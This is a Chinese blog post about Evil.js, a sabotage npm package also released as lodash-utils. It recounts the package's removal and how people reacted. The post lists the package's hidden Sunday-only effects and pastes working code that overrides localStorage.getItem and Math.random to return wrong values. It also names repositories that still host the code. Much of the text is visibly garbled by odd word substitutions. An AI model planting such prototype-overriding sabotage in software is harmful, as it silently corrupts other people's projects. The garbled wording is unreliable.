最近的 Evil.js 让我理解了许多…

前几天突然不少群里看到有人转发 Evil.js 的截图:

什么?黑心996公司要让你提桶跑路了?

想在脱离前给你们的项目留点小礼物

偷偷地把本项目引进你们的项目吧,你们的项目会有但不仅限于如下的奇特效果:

仅在周日时:

  • 当数组长度能够被7整除时,Array.includes 永远回来false。
  • Array.map 有5%概率会丢掉最终一个元素。
  • Array.filter 的成果有5%的概率丢掉最终一个元素。
  • Array.forEach 会卡死一段时间。
  • setTimeout 总是会比预期时间慢1秒才触发。
  • Promise.then 有10%概率不会触发。
  • JSON.stringify 有30%概率会把I(大写字母I)变成l(小写字母L)。
  • Date.getTime() 的成果总是会慢一个小时。
  • localStorage.getItem 有5%几率回来空字符串。
  • Math.random() 的取值规模改为01.1

好家伙!这也刑?然后就去 github 和 npm 上找到了这个包,发现在 github 上一年前就现已有了,但 npm 上是最近发布的。当前为 0.0.5 版别。

然后上 github 上看了下代码,基本上都是重写 prototype 完成的,这种办法能够说是很简单经过扫描就能检测出来的办法,经过扫描能知道 prototype 被重写了,但不一定能知道它是否存在恶意。另外,重写 prototype 不一定便是恶意代码。因为许多人喜爱在原型上增加一些通用办法,这样的话直接像原生 js 相同在任何当地都能运用,而不需要再导入任何 utils,而且许多工具库也是经过从头 prototype 完成的,例如 prototype.js, 以及常见的 polyfill。

源码还写得很专业, 什么 esm cjs 闭包都有考虑,直呼内行,然后每次刷新 github, star 就嗔嗔上涨,对于上涨的原因,我觉得每个人的主意是不同的,有的人单纯的觉得好玩,有的人表明为作者点赞,有的人或许便是共鸣。有一点像是“哪里有压迫,哪里就有反抗”的姿态~

粘一部分源码:

/**
 * localStorage.getItem has 5% chance return empty string
 * @zh localStorage.getItem 有5%几率回来空字符串
 */
if(global.localStorage) {
  const _getItem = global.localStorage.getItem;
  global.localStorage.getItem = function (...args) {
    let result = _getItem.call(global.localStorage, ...args);
    if (_rand() < 0.05) {
      result = null;
    }
    return result;
  }
}
/**
 * The possible range of Math.random() is changed to 0 - 1.1
 * @zh Math.random() 的取值规模改成0到1.1
 */
const _rand = Math.random;
Math.random = function(...args) {
  let result = _rand.call(Math, ...args);
  result *= 1.1;
  return result;
}

源码里有一个当地看不太理解: 在源码的前面许多当地调用了 _rand 这个办法,可是在源码的后面才经过 const 声明了 _rand 这个办法。这有一点出乎我的意料,第一直觉是:

  • const _rand 是不是应该放在最前面?
  • 它是否存在变量提升?运转时会不会报错?
  • 是不是因为不是严格格局所以能够运转?

一两个小时之后,就有收到某些订阅号上发了文章,说了这个包,而且作者已删去。然后又上 github 看看,确实删了, npm 主页也显现了恶意包被删去的字样,而且经过 npm install *** 不再能够装置,可是 npm 上还存在历史版别信息,这些历史版别切换曩昔之后也是相同的不能再查看概况和装置,然后再过一会之后,历史信息也看不到了, npm 主页上显现了包占位。

经过上面的这些信息,能够看到,各个大众号可真是会追热门,直呼专业!短短一两个小时之间经历了这么多事,各种群和各个大众号上简直都能“同步”发布这个仓库的动态,让我我一度以为作者就在群里,作者就在大众号上。

当被删去今后,风云并未停息,紧接着百度上呈现一些 怎么看待**** 的相似文章。我算是理解了,每当一个作业呈现的时候,总有一些 怎么看待**作业 的文章以安慰一些后来的吃瓜大众。

另外,只要在 github 上开源的代码,或者在 npm 上发布的代码,基本上就现已被备份了。npm 发布后,有一些三方 npm 会对其进行实时或不实时的备份,例如众所周知的淘宝镜像,官方说是会以每 10 分钟为频率同步 npm 。

可是我去淘宝镜像上看并没有 Evil.js(lodash-utils), 我不知道是淘宝的同步功能依据没有到达 10 分钟每次,仍是因为其他原因导致,依据个人在 npm 上的发布经验来看,淘宝镜像确实是存在在规定的时间中没有同步最新的 npm 包的状况的。

总结一下观察到的几个现象:

  • 大众号上,会把这个作业发布得 看起来中立 一些。
  • 知乎上,会把这个作业看待得 没有品德,大恶不涉 一些。
  • 各种群里,会把这个作业看待得 模范!勇士! 一些。

其实我个人是很不喜爱那些试图站在品德制高点批评一件作业的人的(你怎么不去批评 996/运用压力和负载作业强辞)?

  • 你能够从普法的视点去讲,怎么合理保护权益;
  • 能够向我们讲虽然 readme 上写了不让我们运用,但我们运用了并造成公司丢失之后,从各方面讲涉及到哪些法令和品德条目(别上来就一句计算机系统损坏罪);
  • 能够讲怎么正确向领导主张作业与日子的平衡,让我们更健康、长远、共赢的开展;
  • 甚至从技能视点去讲 《作为技能人这些过错很常见又很难排查,应该防止》;

一些站在光下的人,因为他觉得他现在站在光下,所以就要向外界表现亮丽。

好了又扯远了,持续讲讲 github 上。现在在 github 上能够看到

duo001/evil.js 这个仓库,应该是比较原始的,代码也比较旧,只有 6 次 commit 。
wll8/lodash-utils 这个仓库应该是比较新的 evil.js clone 过来的,而且对代码进行了一些更新,现在有 35 次 commit 。